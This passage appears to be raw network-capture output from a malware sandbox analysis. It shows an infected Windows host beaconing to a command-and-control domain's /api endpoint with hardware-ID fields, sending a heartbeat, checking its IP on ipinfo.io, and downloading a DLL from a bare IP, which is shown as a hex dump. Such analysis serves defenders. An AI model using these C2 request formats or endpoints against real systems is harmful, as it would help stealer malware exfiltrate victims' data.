2024-05-24 07:42:55 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:42:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:42:55 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:42:56 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4rfu89sgdt543hqqbdvkf5husd; expires=Tue, 17-Sep-2024 01:29:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ehh4qzOUO9TvJ2KBr7CVMlMLys9OhBnM%2F2mvna%2F89e1Pidbu6feSTzPsXUaL1FLN%2BnmwgKXIMVx1IrvQbVYwVpHFHqL1q5TM5wtYwJIpqmLQl3ad%2Bkj1TOO5Z57YWn3Ofn4TvkV%2Bb7zYSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6dd3f3d42e8-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49893	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:55 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:42:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:42:55 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:42:56 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p5m7g6kq19vcvbq6lcojgcefba; expires=Tue, 17-Sep-2024 01:29:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rmgzKxUXHpEzvRzx87p9lD23ZM0yL5FUF2Mcyq3J0GwudGNUEYjiS9fRENERXqcQrFv%2FBJUI0HA4PZslsMNBxKcVlcNEyb7QU0j0T0gtXvFaaVyuU70mccE5e5Ziy1bLoUoXT%2BceOlZpYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6dfefa043dc-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49895	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:56 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:42:56 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:42:56 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:42:56 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:42:56 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49894	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:56 UTC	173	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:42:57 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:56 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-94750" Accept-Ranges: bytes
2024-05-24 07:42:57 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 4c 00 00 00 00 c7 46 50 0f 00 00 00 c6 46 Data Ascii: A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPFLFPF
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff ff 56 e8 de bc ff ff 89 f1 89 fa e8 d5 f1 Data Ascii: PzEPWxP1`PHP$,FM1R'^_[]00L9tc<V
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 eb 51 89 f0 f7 e1 89 d1 c1 e9 05 89 c8 ba Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}LQ
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b 45 ec 89 46 08 e9 8b fe ff ff 68 a7 fa 07 Data Ascii: 1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSREEFh
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 Data Ascii: H) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) sUSWV
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 08 8b 7c 24 08 0f 83 b0 03 00 00 85 db 0f Data Ascii: D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4\|$
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 7c 24 08 8b 4b 08 89 0c 24 89 53 04 0f a4 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$\|$K$S
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 e2 fe 83 e1 01 09 d1 89 4e 04 89 30 8b 4b Data Ascii: XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKNN0K
2024-05-24 07:42:57 UTC	16384	IN	Data Raw: c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 0f 84 c2 09 00 00 80 60 04 fe 8b 4c 24 0c Data Ascii: rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H`L$

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49896	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:56 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:42:56 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:42:57 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9aplkofm7vmnn19g00ehk3tkde; expires=Tue, 17-Sep-2024 01:29:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N9vH3nb1yb13Zs9b15HZvw9vpgi3ZdcLzJoWCL3No6QcInR6QRIM2dXHc5Cd6VPXaHz7GfZSMxMW5P0FAXIbrNGe67B10TzHojqmx37iXvuHK3AUX8zt3PcJx6L339bFn3xvRxqyg8gz2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6e32bfe43fa-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:57 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49899	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:57 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
